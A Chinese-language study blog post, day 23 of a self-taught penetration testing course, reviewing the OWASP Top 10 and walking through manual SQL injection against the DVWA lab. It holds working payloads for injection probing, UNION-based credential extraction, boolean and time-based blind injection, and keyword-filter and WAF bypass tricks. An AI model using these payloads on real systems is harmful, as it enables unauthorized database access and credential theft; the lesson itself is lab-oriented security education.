当前位置: 首页 > news >正文

自学渗透测试第23天(漏洞分类与sql注入模仿)

第9章 服务配置与工具链联动(第23–25天)

9.1 漏洞分类与SQL注入模仿(第23天)

核心目标
  1. 掌握Web漏洞分类体系:理解OWASP TOP 10漏洞分类,建立系统化的漏洞认知框架。

  2. 精通手工SQL注入流程:超越自动化工具,掌握从注入点探测、信息获取到数据提取的完整手工注入流程与技巧。

  3. 理解漏洞防御与绕过:了解SQL注入的常见防御机制(如WAF、过滤函数),并学习基础的手工绕过思路。

模块一:Web漏洞分类体系
1.1 OWASP TOP 10核心漏洞
  • 注入:SQLi, NoSQLi, OS命令注入, LDAP注入。

  • 失效的身份认证:弱口令、会话管理不当、注销机制失效。

  • 敏感信息泄露:明文传输密码、错误信息泄露、不安全的直接对象引用。

  • XML外部实体:XXE攻击。

  • 失效的访问控制:水平/垂直越权。

  • 安全配置错误:默认配置、不必要的服务、错误的HTTP头。

  • 跨站脚本:XSS。

  • 不安全的反序列化:导致RCE。

  • 使用含有已知漏洞的组件:未更新的框架、库。

  • 不足的日志记录和监控:无法追溯攻击行为。

1.2 漏洞利用链思想
  • 单一漏洞到权限提升:如何将信息泄露、文件上传、SQL注入等漏洞组合,实现从外网渗透到内网控制。

模块二:手工SQL注入深度实战
2.1 注入点探测与确认
  • 经典探测Payload

    ' // 触发错误 \" // 触发错误 ` // 某些情况下 AND 1=1 // 真条件,页面应正常 AND 1=2 // 假条件,页面应异常(如内容消失)
  • 判断注入类型

    • 数字型id=1->id=1 AND 1=1/id=1 AND 1=2

    • 字符型id='admin'->id='admin' AND '1'='1/id='admin' AND '1'='2

2.2 信息收集:数据库、用户、版本
  • 查询数据库版本

    MySQL: SELECT @@version, version() MSSQL: SELECT @@version Oracle: SELECT banner FROM v$version PostgreSQL: SELECT version()
  • 查询当前用户与数据库

    SELECT user(), database()
  • 联合查询注入步骤

    1. 确定列数ORDER BY 5递增直到报错。

    2. 确定显示位UNION SELECT 1,2,3,4,5

    3. 替换显示位获取信息UNION SELECT 1,@@version,user(),database(),5

2.3 提取数据:库、表、列、内容
  • MySQL信息模式

    -- 获取所有数据库名 UNION SELECT 1, schema_name,3,4 FROM information_schema.schemata -- 获取指定数据库(如dvwa)的所有表名 UNION SELECT 1, table_name,3,4 FROM information_schema.tables WHERE table_schema='dvwa' -- 获取指定表(如users)的所有列名 UNION SELECT 1, column_name,3,4 FROM information_schema.columns WHERE table_name='users' AND table_schema='dvwa' -- 提取数据 UNION SELECT 1, concat(user, ':', password),3,4 FROM dvwa.users
2.4 盲注:布尔与时间盲注
  • 布尔盲注:通过页面返回内容的差异判断真假。

    id=1' AND SUBSTRING((SELECT database()),1,1)='d' --+ -- 如果页面正常,则数据库名第一个字符是‘d’
  • 时间盲注:通过执行延时函数判断。

    MySQL: id=1' AND IF((SELECT database())='dvwa', SLEEP(5), 0) --+ -- 如果页面响应延迟5秒,则数据库名为'dvwa'
模块三:防御机制与基础绕过
3.1 常见防御机制
  • 输入过滤:过滤'"SELECTUNION等关键字。

  • 使用预编译语句:最有效的防御手段。

  • WAF:基于规则库拦截恶意请求。

3.2 基础绕过技巧
  • 大小写混淆SeLeCt替代SELECT

  • 双写关键字SELSELECTECT过滤后变为SELECT

  • 内联注释/*!SELECT*/(MySQL)

  • URL编码%55nion表示Union

  • 空白符替换:使用/**/+%0a代替空格

  • 等价函数/语句替换SUBSTRING->MID->LEFT

模块四:当日达标实战任务
4.1 漏洞分类练习
  1. 分析场景:给定三个漏洞描述:A) 网站将用户输入直接拼接到system()函数中。B) 网站的Cookie中userid参数可被篡改,从而访问他人数据。C) 网站的登录页面在失败时返回“用户admin不存在”。

    • 请判断它们分别属于OWASP TOP 10中的哪类漏洞。

4.2 DVWA手工注入挑战

在DVWA的SQL Injection模块(安全级别设为MediumHigh),完成以下手工注入任务:

  1. 探测与确认:判断注入类型(数字/字符)及闭合方式。

  2. 获取信息:获取数据库版本、当前数据库名、当前数据库用户。

  3. 提取数据:获取users表中的所有用户名和密码(MD5哈希形式)。

  4. 盲注实践:在SQL Injection (Blind)模块,通过布尔或时间盲注,获取数据库版本号的第一个字符。

4.3 绕过简单过滤

假设一个过滤规则是删除输入中的SELECTUNION关键字(不区分大小写)。请构造一个Payload,使其在过滤后仍能正常执行UNION SELECT 1,2,3

模块五:常见问题与解决方案
5.1 手工注入难点
  • 页面无回显:优先考虑布尔盲注或时间盲注。观察页面内容的细微变化(如“存在/不存在”、“Welcome/”),或使用SLEEP函数。

  • UNION查询列数不一致:耐心测试ORDER BY,或使用NULL填充列,如UNION SELECT NULL, NULL, NULL

5.2 绕过失败
  • WAF拦截严格:尝试使用更冷门的编码方式、分块传输、HTTP参数污染等技术,或寻找未受WAF保护的其他功能点。


明日预告:第24天将聚焦Linux服务配置与连接测试,学习如何安装、配置、启动和测试常见的网络服务(如SSH, Apache, MySQL),这是内网渗透和权限维持的重要基础。

http://www.jsqmd.com/news/690303/

相关文章:

  • Python处理GEDI H5文件实战:从批量提取波形到生成可分析CSV(附完整代码)
  • 基于OpenCV的Java人脸识别系统开发实战
  • TensorFlow实现多标签文本分类:从数据清洗到模型部署
  • 告别龟速下载!手把手教你手动配置VS Code的Rust-Analyzer(附Stable/Nightly双版本路径)
  • 收藏 | AI开发者必看:构建智能对话系统,避免踩坑的技术路径与经验分享
  • C语言变量命名、运算符等入门自学教程
  • 从Mapbox到ArcGIS Pro:聊聊矢量切片(VTPK)的前世今生与样式自定义
  • STGNN在芯片SEU故障模拟中的创新应用
  • 垂直AI智能体有哪些?行业应用与典型案例分析
  • 新易盛第一季营收83亿:同比增106% 净利27.8亿
  • 如何用FreeSWITCH打造智能电话机器人?顶顶通呼叫中心中间件深度解析
  • 03华夏之光永存:黄大年茶思屋榜文解法「13期3题」 大规模网络应用流量在线调度完整解析
  • C++26反射元编程报错解决全链路,深度解析`std::reflect::get_member_names`不识别私有成员的7层语义约束
  • 全球89个国家416,417台陆上风力涡轮机数据集
  • 2026佛山彩瓦技术实测:5家可靠厂商核心指标对比 - 优质品牌商家
  • 量子机器学习实战:Qiskit解决图像分类的致命缺陷——软件测试视角剖析
  • 从‘饱和’与‘残存失调’聊起:手把手分析OOS与IOS两种失调消除技术该怎么选
  • 别再死记硬背!用Python的PuLP库实战大M法,5步搞定线性规划建模
  • 主流的BPM工作流平台选型优缺点对比分析
  • 2026年3月橡胶块优选:口碑厂家打造品质之选,减震垫/橡胶板/中压石棉板/绝缘橡胶板/尼龙棒 ,橡胶块生产厂家推荐 - 品牌推荐师
  • 05华夏之光永存:黄大年茶思屋榜文解法「13期5题」 漏洞签名高性能检测算法完整解析
  • 零基础入门网安必藏!【网络安全】基础知识超详细详解,入门到精通
  • 基于熵分析与强化学习的RTL代码生成技术解析
  • 涂鸦智能股权曝光:王学集持股19% 获4900万派息 腾讯持股9.5%
  • # 发散创新:基于Python与Flask的智慧城市交通流量实时监测系统设计与实现在智慧城市建设中,**交通管理智能化**是提升城市运
  • FFmpeg 工具介绍
  • 04-08-08 高级管理者 (The Big Leagues)
  • echarts 折柱混合图,渐变切图例和x轴滚动可自动切换
  • 06华夏之光永存:黄大年茶思屋13期5题解法总结篇——漏洞签名高性能检测算法突破,筑牢华为安全霸业根基
  • Arduino MKR IoT Carrier Rev2开发板与BME688传感器应用指南